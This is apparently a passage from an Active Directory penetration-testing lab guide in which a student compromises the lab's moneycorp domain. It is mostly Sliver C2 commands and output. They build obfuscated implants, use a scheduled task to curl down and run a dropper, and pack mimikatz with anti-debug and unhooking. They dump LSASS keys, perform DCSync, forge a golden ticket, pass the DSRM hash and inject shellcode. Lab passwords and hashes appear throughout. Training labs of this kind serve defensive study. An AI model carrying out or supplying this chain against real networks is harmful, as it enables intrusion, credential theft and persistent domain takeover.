/verbose: False
[+] Performing LDAP query against dollarcorp.moneycorp.local for all enabled
servers excluding Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 26
Status: (0.00%) 0 computers finished (+0) -- Using 22 MB RAM
[WinRM] Admin Success: DCORP-ADMINSRV.DOLLARCORP.MONEYCORP.LOCAL as studentX@
dollarcorp.moneycorp.local
Status: (96.15%) 25 computers finished (+25 0.8333333)/s -- Using 27 MB RAM
Status: (96.15%) 25 computers finished (+0 0.4166667)/s -- Using 27 MB RAM
[+] Finished enumerating hosts
[*] Output:
_____ _____ __ __ _ _
/ ____|_ _| \/ | | | | |
| | | | | \ / |_ __ | | __ _ _ __ | |_
| | | | | |\/| | '_ \| |/ _` | '_ \| __|
| |____ _| |_| | | | |_) | | (_| | | | | |_
\_____|_____|_| |_| .__/|_|\__,_|_| |_|\__|
| |
by @Matt_Grandy_ |_| (@FortyNorthSec)
Use CIMplant to query the language mode of dcorp-adminsrv by using the command_exec module as
follows.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/CIMplant.exe' '-s dcorp-adminsr
v -u studentX -p JPIzbuWHdSfq9NFr -d dollarcorp.moneycorp.local -c command_ex
ec --execute "$ExecutionContext.SessionState.LanguageMode"'
Since it has Constrained Language mode enabled, this is usually accompanied by Applocker. Let us
enumerate the Applocker Rules on the host.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/CIMplant.exe' '-s dcorp-adminsr
v -u studentX -p JPIzbuWHdSfq9NFr -d dollarcorp.moneycorp.local -c command_ex
ec --execute "Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\Sr
pV2 -Recurse"'
[*] Output:
Name Property
---- --------
5a9340f3-f6a7-4892-84ac-0fffd5 Value : <FilePublisherRule Id="5a9340f3-f6a7-4
892-84ac-0fffd51d9584" Name="Signed by 1d9584 O=MICROSOFT CORPORATION,L=REDMO
ND, S=WASHINGTON, C=US" Description="" UserOrGroupSid="S-1-1-0"
Action="Allow"><Conditions> <FilePublisherCondition PublisherName="O=MICROSOF
T CORPORATION, L=REDMOND,S=WASHINGTON, C=US" ProductName="*" BinaryName="*"><
BinaryVersionRange LowSection="*" HighSection="*"/></FilePublisher Condition>
</Conditions></File PublisherRule>
Create a tcp pivot listener in the current dcorp-stdX session (dcorp-std_https) as follows.
[server] sliver (dcorp-std_https) > pivots tcp --lport 8080
[*] Started tcp pivot listener :8080 with id 1
Generate the corresponding Sliver implant service executable for the tcp listener on dcorp-stdX.
Make sure that port 8080 is allowed or firewall is disabled on dcorp-stdX.
[server] sliver (dcorp-std_https) > generate --tcp-pivot 172.16.100.X:8080 -f
shellcode -e --name dcorp-adminsrv_tcp
Setup a python3 / HFS webserver on port 80 from a new Ubuntu prompt to deliver all tools, shellcode
and payloads onto the target environment from /mnt/c/AD/Tools/Sliver.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
We can now use psexec (not opsec friendly) / scshell to gain a session implant bypassing Applocker
on the target. To do so find an abusable service using the sa-sc-enum BOF as follows.
[server] sliver (dcorp-std_https) > sa-sc-enum dcorp-adminsrv
[snip]
SERVICE_NAME: ssh-agent
DISPLAY_NAME: OpenSSH Authentication Agent
TYPE : 16 WIN32_OWN
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 0
FLAGS : 0
TYPE : 10 WIN32_OWN
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Windows\System32\OpenSSH\ssh-agen
t.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OpenSSH Authentication Agent
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
RESET_PERIOD (in seconds) : 0
REBOOT_MESSAGE :
COMMAND_LINE :
The service has not registered for any start or stop triggers.
The ssh-agent
We could target the ssh-agent service since we have administrative privileges over the target.
Before doing so if the service isn’t already stopped, make sure to stop it using remote-sc-stop as
follows.
[server] sliver (dcorp-std_https) > remote-sc-stop -t 100 "dcorp-adminsrv" 's
sh-agent'
To be able to execute commands on the Jenkins server without admin access we must have privileges to
configure builds.
Clicking on the people tab we find a bunch of usernames. These usernames could be used for a brute
force/password guessing attack to gain authenticated access.
Back in the dcorp-stdX Sliver session, reuse or create a new tcp pivot listener on dcorp-stdX listening on
port 8080.
Generate the corresponding Sliver implant executable for the tcp listener on dcorp-stdX. Make sure
that port 8080 is allowed or firewall is disabled on dcorp-stdX.
[server] sliver (dcorp-std_https) > generate --tcp-pivot 172.16.100.X:8080 -f
shellcode -e -N dcorp-ci_tcp
[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 2m17s
[*] Implant saved to /mnt/c/AD/Tools/Sliver/dcorp-ci_tcp.bin
Setup a python3/HFS webserver on port 80 from a new Ubuntu prompt to deliver all tools, shellcode
and payloads onto the target environment from /mnt/c/AD/Tools/Sliver.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/Sliver
Continuing with Jenkins abuse, Configure the project to add a build step --> Execute Windows batch
command to execute schedule tasks to download and execute NtDropper with the above generated
shellcode.
Begin by creating a schedule task (DownloadNtDropper) to download the NtDropper file from our
hosted webserver, enter this in the Execute Windows batch command window and select Save.
schtasks /create /tn "DownloadNtDropper" /tr "C:\Windows\System32\cmd.exe /c
start /b curl http://172.16.100.X/NtDropper.exe -o C:\Windows\Temp\NtDropper.
exe" /sc ONSTART
We can finally execute both these schedule tasks to get a pivot session on dcorp-ci.
Reconfigure another build as above to first execute the DownloadNtDropper schedule task.
schtasks /run /tn "DownloadNtDropper"
BloodHound Enumeration
Using SharpHound.exe
BloodHound uses neo4j graph database, so that needs to be setup first.
Note: Exit BloodHound once you have stopped using it as it uses good amount of RAM. You may also like
to stop the neo4j service if you are not using BloodHound.
NOTE: It is also possible to use bloodhounds --stealth option to perform enumeration in a more opsec
safe way by not querying target DCs.
[server] sliver (dcorp-std_https) > cd C:\\AD\\Tools\\Sliver
[*] C:\AD\Tools\Sliver
[*] Output:
2024-01-10T04:50:49.3433951-08:00|INFORMATION|This version of SharpHound is c
ompatible with the 5.0.0 Release of BloodHound
[.....snip...]
2024-01-10T04:52:08.8184100-08:00|INFORMATION|Saving cache with stats: 318 ID
to type mappings.
322 name to SID mappings.
2 machine sid mappings.
6 sid to domain mappings.
0 global catalog mappings.
NOTE: It is possible to exfiltrate and download the generated BloodHound compatible zip file from a
remote system using the download command in Sliver.
As an alternative it is also possible to use the sharp-hound-3 alias by installing it from Sliver’s armoury
using the armory install sharp-hound-3 command.
Execute LACheck to perform enumeration over all computers in the dollarcorp.moneycorp.local domain
and the /bloodhound option to set bloodhound enumeration to True.
NOTE: It is possible to exfiltrate and download the generated .json files over a TCP socket by using the
/socket option.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 80 '/mnt/c/AD/Tools/LACheck.exe' 'smb rpc wirnm /bl
oodhound /domain:dollarcorp.moneycorp.local /user:studentX@dollarcorp.moneyco
rp.local /ldap:all'
[*] Output:
[+] Parsed Aguments:
rpc: True
smb: True
winrm: False
/bloodhound: True
/dc:
/domain: dollarcorp.moneycorp.local
/edr: False
/logons: False
/registry: False
/services: False
/ldap: all
/ou:
/socket:
/targets:
/threads: 25
/user: studentX@dollarcorp.moneycorp.local
/verbose: False
[+] Performing LDAP query against Global Catalog for all enabled computers wi
th "primary" group "Domain Computers"...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 43
Status: (0.00%) 0 computers finished (+0) -- Using 22 MB RAM
[winrm] Admin Success: DCORP-ADMINSRV.DOLLARCORP.MONEYCORP.LOCAL as studentX@
dollarcorp.moneycorp.local
Status: (97.67%) 42 computers finished (+42 1.4)/s -- Using 24 MB RAM
[+] Finished enumerating hosts
[+] Gathering Enabled Users...
Compressing zip files to zaascrqp.ccj
Password for Zip file is qu5vxg1w1np unzip files manually to upload to interf
ace
We can use the data with the same Collectors with BloodHound CE. As BloodHound CE consumes high
amounts of RAM, in the lab, you only have Read-only access to a shared BloodHound CE -
https://crtpbloodhound-altsecdashboard.msappproxy.net/
This would bring you to the BloodHound CE login page. Provide the same set of credentials as above to
the BloodHound login page and you will be able to access the UI.
This instance of BloodHound CE already has the database populated. Feel free to play with the data!
Make sure to use the collector from BloodHound-4.0.3_old with UI in BloodHound-4.0.3_old. These are
not compatible with BloodHound 4.2.0.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'c:\windows\S
ystem32\taskhostw.exe' -t 120 '/mnt/c/AD/Tools/BloodHound-4.0.3_old/BloodHoun
d-master/Collectors/SharpHound.exe' '--ldapusername studentX --ldappassword J
PIzbuWHdSfq9NFr -c All'
Select the studentX node by clicking on it and then select the Derivative Local Admin Rights tab to see
that it has local admin rights on dcorp-adminsrv (press Ctrl to toggle labels).
Enumerate running process’s using the ps command. Use the -c option to print commandline arguments
and the -o option to filter for process’s running under the dcorp\ciadmin user.
[server] sliver (dcorp-ci_tcp) > ps -c -o 'dcorp\ciadmin'
[......snip......]
2132 612 dcorp\ciadmin x86_64 jenkins.exe
0
Let us use LACheck again to return logged on users on a host using the /logons option using smb, winrm
and rpc. We exclude the DC for enumeration to avoid creating logs on the DC and enumerate only
servers using the /ldap:servers-exclude-dc option.
[server] sliver (dcorp-ci_tcp) > execute-assembly -P 2628 -p 'C:\Program File
s\Common Files\Oracle\Java\javapath\java.exe' -t 180 '/mnt/c/AD/Tools/LACheck
.exe' 'winrm /ldap:servers-exclude-dc /logons /threads:10 /domain:dollarcorp.
moneycorp.local'
[*] Output:
[+] Parsed Aguments:
rpc: False
smb: False
winrm: True
/bloodhound: False
/dc:
/domain: dollarcorp.moneycorp.local
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/socket:
/targets:
/threads: 10
/user: ciadmin
/verbose: False
[+] Performing LDAP query against dollarcorp.moneycorp.local for all enabled
servers excluding Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 8
Status: (0.00%) 0 computers finished (+0) -- Using 23 MB RAM
[WinRM] Admin Success: DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL as ciadmin
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - dcorp\svcadmin 1/11/2024 4:
16:15 AM (ciadmin)
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - dcorp\ciadmin 1/11/2024 4:1
9:40 AM (ciadmin)
[session] DCORP-MGMT.DOLLARCORP.MONEYCORP.LOCAL - DCORP-MGMT\SQLTELEMETRY 1/1
1/2024 4:16:15 AM (ciadmin)
[+] Finished enumerating hosts
We find that dcorp\ciadmin has local admin access over dcorp-mgmt and there is a domain admin
session - dcorp\svcadmin on dcorp-mgmt along with other user sessions such as dcorp\mgmtadmin.
For our lab, we will focus on Credential Looting techniques by directly interacting with LSASS via
executing C# mimikatz alternatives like SharpKatz.
Let us now enumerate remote services to abuse using the sa-sc-enum command (BOF).
[server] sliver (dcorp-ci_tcp) > sa-sc-enum dcorp-mgmt
[.............snip..............]
SERVICE_NAME: wmiApSrv
DISPLAY_NAME: WMI Performance Adapter
TYPE : 16 WIN32_OWN
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0
SERVICE_EXIT_CODE : 0
CHECKPOINT : 0
WAIT_HINT : 0
PID : 0
FLAGS : 0
TYPE : 10 WIN32_OWN
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
Let’s target the wmiApSrv service to modify the binary executed to our NtDropper. Upload the
NtDropper binary as follows (Modifiable service binary permissions).
NOTE: Stop the wmiApSrv service before trying execution using scshell.
Spawn a new Ubuntu WSL prompt and execute PEzor.sh to convert mimikatz.exe into a repackaged .NET
x86-x64 executable:
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# ./PEzor.sh -unhook -antidebug -flu
ctuate=NA -format=dotnet -sleep=5 /mnt/c/AD/Tools/PEzor/mimikatz.exe -z 2 -p
'"privilege::debug" "token::elevate" "sekurlsa::ekeys" "exit"'
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
---------------------------------------------------------------------------
[?] Unhook enabled
[?] Anti-debug enabled
[?] Fluctuate: NA
[?] Output format: dotnet
[?] Waiting 5 seconds before executing the payload
[?] Processing /mnt/c/AD/Tools/PEzor/mimikatz.exe
[?] PE detected: /mnt/c/AD/Tools/PEzor/mimikatz.exe: PE32+ executable (consol
e) x86-64, for MS Windows
[?] Building .NET executable
[?] Executing donut
PEzor:
-z 2: donut args --> Pack/Compress the input file. 1=None, 2=
aPLib
-sgn: Encode the generated shellcode with sgn
-unhook: User-land hooks removal
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# mv /mnt/c/AD/Tools/PEzor/mimikatz.
exe.packed.dotnet.exe /mnt/c/AD/Tools/PEzor/mimikatz-ekeys.exe.packed.dotnet.
exe
NOTE: We rename the generated file for ease of reusability in later objectives.
[*] Output:
[snip]
mimikatz(commandline) # sekurlsa::ekeys
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
des_cbc_md4 6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca
2835067719dc7011
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
We can also look for credentials from the credentials vault. Interesting credentials like those used for
scheduled tasks are stored in the credential vault. Use the mimikatz command: "vault::cred /patch".
Use PEzor back in the root Ubuntu terminal to convert mimikatz with the following arguments again.
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# ./PEzor.sh -unhook -antidebug -flu
ctuate=NA -format=dotnet -sleep=5 /mnt/c/AD/Tools/PEzor/mimikatz.exe -z 2 -p
'"privilege::debug" "token::elevate" "vault::cred /patch" "exit"'
________________
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# mv /mnt/c/AD/Tools/PEzor/mimikatz.
exe.packed.dotnet.exe /mnt/c/AD/Tools/PEzor/mimikatz-vaultcred.exe.packed.dot
net.exe
[*] Output:
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # exit
Bye!
We can now impersonate the domain admin credentials to move laterally using the Rubeus asktgt
module. We use the /ptt option to import the ticket into the current session. Switch back to the dcorp-
stdX session and perform the import.
NOTE: We can perform this in a sacrifical logon using the make-token process but for the case of
simplicity we perform most ticket imports in our original session LUID.
[*] Output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
doIGAjCCBf6gAwIBB[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : svcadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/15/2024 6:30:41 AM
EndTime : 1/15/2024 4:30:41 PM
RenewTill : 1/22/2024 6:30:41 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : fbhvuQhtRTYbD483RPrHQxsjm6hPnOhjtdU2YbhrfLk=
ASREP (key) : 6366243A657A4EA04E406F1ABC27F1ADA358CCD0138EC5C
A2835067719DC7011
[...........snip...........]
Analyze / purge imported tickets using the klist / purge options in Rubeus.
[*] Output:
From before it is noted that dcorp\studentX has admin privileges over dcorp-adminsrv, switch back to
the dcorp-stdX session and move laterally to dcorp-adminsrv as shown previously in Objective 5.
[*] Session 8f564dcc dcorp-adminsrv_tcp - 172.16.100.X:50152->dcorp-std_https
-> (dcorp-adminsrv) - windows/amd64 - Tue, 16 Jan 2024 06:26:26 PST
We can now use the previously PEzor generated mimikatz-ekeys.exe.packed.dotnet.exe binary to dump
AES logonpasswords on the target.
[server] sliver (dcorp-adminsrv_tcp) > ps
0 0 [System Process] -
[.......snip.......]
[*] Output:
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # token::elevate
Token Id : 0
User name :
mimikatz(commandline) # sekurlsa::ekeys
Authentication Id : 0 ; 225972 (00000000:000372b4)
Session : RemoteInteractive from 2
* Username : srvadmin
* Domain : DOLLARCORP.MONEYCORP.LOCAL
* Password : (null)
* Key List :
aes256_hmac 145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1d
bb4
rc4_hmac_nt a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_old a98e18228819e8eec3dfa33cb68b0728
rc4_md4 a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_nt_exp a98e18228819e8eec3dfa33cb68b0728
rc4_hmac_old_exp a98e18228819e8eec3dfa33cb68b0728
[snip]
doIF+AyNDAxMj[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : srvadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/16/2024 1:34:44 AM
EndTime : 1/16/2024 11:34:44 AM
RenewTill : 1/23/2024 1:34:44 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : DgapjlJWNDAC2EsEE3okPT4S0ITKnCTtu+kP/zApFws=
ASREP (key) : 145019659E1DA3FB150ED94D510EB770276CFBD0CBD834A
4AC331F2EFFE1DBB4
[*] Output:
Since we have local admin access to dcorp-mgmt as dcorp\srvadmin we can go moving laterally onto
dcorp-mgmt, extracting credentials for dcorp\svcadmin as shown in the last section and gaining domain
admin privileges.
• Use the Golden ticket to (once again) get domain admin privileges from a machine.
We can impersonate the domain admin credentials using the Rubeus asktgt module as in the previous
objective.
[server] sliver (dcorp-std_https) > execute-assembly -P 2396 -p 'C:\windows\s
ystem32\taskhostw.exe' -t 80 /mnt/c/AD/Tools/Rubeus.exe 'asktgt /user:svcadmi
n /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /o
psec /show /ptt'
[*] Output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
doIGAjCCBf6gAwIBB[snip]
ServiceName : krbtgt/DOLLARCORP.MONEYCORP.LOCAL
ServiceRealm : DOLLARCORP.MONEYCORP.LOCAL
UserName : svcadmin
UserRealm : DOLLARCORP.MONEYCORP.LOCAL
StartTime : 1/15/2024 6:30:41 AM
EndTime : 1/15/2024 4:30:41 PM
RenewTill : 1/22/2024 6:30:41 AM
Flags : name_canonicalize, pre_authent, initial, renewa
ble, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : fbhvuQhtRTYbD483RPrHQxsjm6hPnOhjtdU2YbhrfLk=
ASREP (key) : 6366243A657A4EA04E406F1ABC27F1ADA358CCD0138EC5C
A2835067719DC7011
[...........snip...........]
We can now use scshell to move laterally. Before doing so we enumerate services remotely to target.
Enumerate remote services using the sa-sc-enum command (BOF).
[server] sliver (dcorp-ci_tcp) > sa-sc-enum dcorp-dc
[.............snip..............]
SERVICE_NAME: wmiApSrv
Querying the service using the sa-sc-sq BOF we find that the wmiApSrv service runs as SYSTEM, hence
this is a good target service for credential dumping.
Begin by setting up / reusing the pivot listener on dcorp-stdX - port 8080 and generate an appropriate
tcp pivot implant.
[server] sliver (dcorp-std_https) > pivots tcp --lport 8080
[*] Started tcp pivot listener :8080 with id 1
[.......snip........]
[*] Output:
[snip]
mimikatz(commandline) # sekurlsa::ekeys
* Username : Administrator
* Domain : DOLLARCORP.MONEYCORP.LOCAL
* Password : (null)
* Key List :
*
Username : svcadmin
*
Domain : DOLLARCORP.MONEYCORP.LOCAL
*
Password : (null)
*
Key List :
des_cbc_md4 6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca
2835067719dc7011
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
des_cbc_md4 b38ff50264b74508085d82c69794a4d8
*
Username : DCORP-DC$
*
Domain : dollarcorp.moneycorp.local
*
Password : cd 86 [snip]
*
Key List :
des_cbc_md4 064e5b7d9d78d3645e786a30df02b5893bf7cb44ba117495
38896c0e66f953d3
des_cbc_md4 c7e5d82f4b335144af5fcd6775069b18
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
des_cbc_md4 36abeac4022fa23f94dd8480c67b5e6e
Back on dcorp-stdX, spawn a new Ubuntu WSL prompt and use PEZor as before to convert mimikatz into
a .NET binary with DCSync arguments and rename the binary accordingly as follows.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
---------------------------------------------------------------------------
[?] Unhook enabled
[?] Anti-debug enabled
[?] Fluctuate: NA
[?] Output format: dotnet
[?] Waiting 5 seconds before executing the payload
[?] Processing /mnt/c/AD/Tools/PEzor/mimikatz.exe
[?] PE detected: /mnt/c/AD/Tools/PEzor/mimikatz.exe: PE32+ executable (consol
e) x86-64, for MS Windows
[?] Building .NET executable
[?] Executing donut
DCSync from the dcorp-stdX session (remotely) or use the current dcorp-dc session using mimikatz-
dcsync.exe.packed.dotnet.exe.
[server] sliver (dcorp-dc_tcp) > execute-assembly -P 2780 -p 'C:\windows\syst
em32\wbem\WmiApSrv.exe' -t 180 '/mnt/c/AD/Tools/PEzor/mimikatz-dcsync.exe.pac
ked.dotnet.exe'
[*] Output:
mimikatz(commandline) # privilege::debug
Privilege '20' OK
** SAM ACCOUNT **
Credentials:
Hash NTLM: 4e9815869d2090ccfca61c1fe0d23986
ntlm- 0: 4e9815869d2090ccfca61c1fe0d23986
lm - 0: ea03581a1268674a828bde6ab09db837
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6d4cc4edd46d8c3d3e59250c91eac2bd
* Primary:Kerberos *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Credentials
des_cbc_md5 : 150ea2e934ab6b80
* Packages *
NTLM-Strong-NTOWF
mimikatz(commandline) # exit
Bye!
[..........snip........]
Craft a Golden Ticket from the dcorp-stdX session using Rubeus and the krbtgt AES hash abusing SID
History injection. We can
We can save the ticket as golden.tkt using the Rubeus /outfile parameter for persistent usage, or
optionally use the /ptt argument here instead to gain the ticket privileges in the current session.
NOTE: Since fork and run execution are limited to 256 characters, we can use inline-execute-assembly
instead to overcome the argument limitation.
[*] base64(ticket.kirbi):
doIGVDCCBlCgAwIB[snip]
We can persistently now use this ticket to gain DA privileges anytime. Check if we have Domain Admin
(dcorp\svcadmin) access to dcorp-dc by listing shares.
[server] sliver (dcorp-std_https) > inline-execute-assembly -t 80 /mnt/c/AD/T
ools/Rubeus.exe klist
UserName : studentX
Domain : dcorp
LogonId : 0xd01c0
UserSID : S-1-5-21-719815819-3726368948-3917688648-5101
AuthenticationPackage : Negotiate
LogonType : RemoteInteractive
LogonTime : 1/17/2024 12:45:33 AM
LogonServer : DCORP-DC
LogonServerDNSDomain : DOLLARCORP.MONEYCORP.LOCAL
UserPrincipalName : studentX@dollarcorp.moneycorp.local
• HOST service
• WMI
NOTE: Reboot the computer if you find inconsistencies with ticket imports since we are leveraging our
current session again using inline-execute-assembly as in the previous objective.
[snip]
We can prove we have rights to access the HOST service by accessing scheduled tasks using the inbuilt
sa-schtasksenum command which enumerates scheduled tasks on the target host.
[server] sliver (dcorp-std_https) > sa-schtasksenum -t 40 dcorp-dc.dollarcorp
.moneycorp.local
[.............snip.............]
To proceed to get a shell via schtasks we can use an external tool such as SharpTask.
[snip]
To test WMI rights, we can use CIMPlant / sharp-wmi. We test execution rights my querying the
win32_process class. We can also proceed with command and shell execution using sharp-wmi.
Scope: \\dcorp-dc\root\cimv2
[............snip...........]
[*] Output:
[*] Action: Purge Tickets
Luid: 0x0
[+] Tickets successfully purged!
[*] base64(ticket.kirbi):
doIGZjCCBmKgAwIBBaED[snip]
[*] Output:
[*] Action: Purge Tickets
Luid: 0x0
[+] Tickets successfully purged!
We will extract the credentials from the SAM file of dcorp-dc. The Directory Services Restore Mode
(DSRM) password is mapped to the local Administrator on the DC.
Let’s use PEzor in a new Ubuntu terminal to convert mimikatz.exe into donut shellcode with appropriate
arguments to dump the DSRM password from SAM (lsadump::sam) repackaged into a x86-x64 .NET
executable compatible with Slivers execute-assembly. Be sure to rename the packaged binary
accordingly.
wsluser@dcorp-studentX:~$ cd /mnt/c/AD/Tools/PEzor/
wsluser@dcorp-studentX:/mnt/c/AD/Tools/PEzor$ sudo su
[sudo] password for wsluser: WSLToTh3Rescue!
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# mv /mnt/c/AD/Tools/PEzor/mimikatz.
exe.packed.dotnet.exe /mnt/c/AD/Tools/PEzor/mimikatz-sam.exe.packed.dotnet.ex
e
[......snip.......]
[*] Output:
[snip]
mimikatz(commandline) # lsadump::sam
Domain : DCORP-DC
SysKey : bab78acd91795c983aef0534e0db38c7
Local SID : S-1-5-21-627273635-3076012327-2140009870
SAMKey : f3a9473cb084668dcf1d7e5f47562659
mimikatz(commandline) # exit
Bye!
The DSRM administrator is not allowed to logon to the DC from the network. So, we need to change the
logon behavior for the account by modifying registry on dcorp-dc. We can do this as follows using the
registry command in Sliver.
[server] sliver (dcorp-dc_tcp) > registry write --hive HKLM --type dword "Sys
tem\\CurrentControlSet\\Control\\Lsa\\DsrmAdminLogonBehavior" 2
We use mimikatz to pass the hash and spawn a new process as the DSRM administrator after which we
can inject our Sliver shellcode payload into this process to gain Admin access as the DSRM administrator
onto dcorp-dc.
Begin by using PEZor in a new Ubuntu terminal to create a compatible .NET to binary to perform the
pass the hash attack as follows. Make sure to rename the file accordingly.
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# ./PEzor.sh -unhook -antidebug -flu
ctuate=NA -format=dotnet -sleep=5 /mnt/c/AD/Tools/PEzor/mimikatz.exe -z 2 -p
'"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3
af31c97fad86fd /run:C:\Windows\System32\cmd.exe" "exit"'
---------------------------------------------------------------------------
[?] Unhook enabled
[?] Anti-debug enabled
[?] Fluctuate: NA
[?] Output format: dotnet
[?] Waiting 5 seconds before executing the payload
[?] Processing /mnt/c/AD/Tools/PEzor/mimikatz.exe
[?] PE detected: /mnt/c/AD/Tools/PEzor/mimikatz.exe: PE32+ executable (consol
e) x86-64, for MS Windows
[?] Building .NET executable
[?] Executing donut
root@dcorp-studentX:/mnt/c/AD/Tools/PEzor# mv /mnt/c/AD/Tools/PEzor/mimikatz.
exe.packed.dotnet.exe /mnt/c/AD/Tools/PEzor/mimikatz-dsrm.exe.packed.dotnet.e
xe
Next, in an elevated dcorp-stdX session as shown in LO-5 perform the pass the hash process using
mimikatz-dsrm.exe.packed.dotnet.exe and make note of the process ID spawned.
If an elevated dcorp-stdX session isn’t available, it is possible to restart the AbyssWebServer service to
gain one.
[server] sliver (dcorp-std_https) > remote-sc-stop -t 45 "" AbyssWebServer
[*] Successfully executed remote-sc-stop (coff-loader)
[*] Got output:
stop_service:
hostname:
servicename: AbyssWebServer
Service is already stopped.
SUCCESS.
Perform the Pass the hash process in a common SYSTEM integrity process (Svchost, taskhostw etc.) as
follows.
[server] sliver (dcorp-std_https) > ps -e taskhostw
[*] Output:
mimikatz(commandline) # exit
Bye!
Now that we have successfully performed the Pass the hash attack and spawned a new process with
DSRM administrator privileges, we can proceed by injecting shellcode in this target process to gain its
execution context. We can use syscalls_shinject / secinject to do so.
NOTE: Attempt syscalls_shinject execution immediately after the above command, as the spawned
process closes after a short while. Attempt execution multiple times if it fails on the first attempt.
[server] sliver (dcorp-std_https) > syscalls_shinject 3320 /mnt/c/AD/Tools/Sl
iver/dcorp-std_https.bin
Switch to the new beacon session and validate DSRM administrator rights by listing admin shares on
dcorp-dc.
[server] sliver (dcorp-std_https) > use f8865911
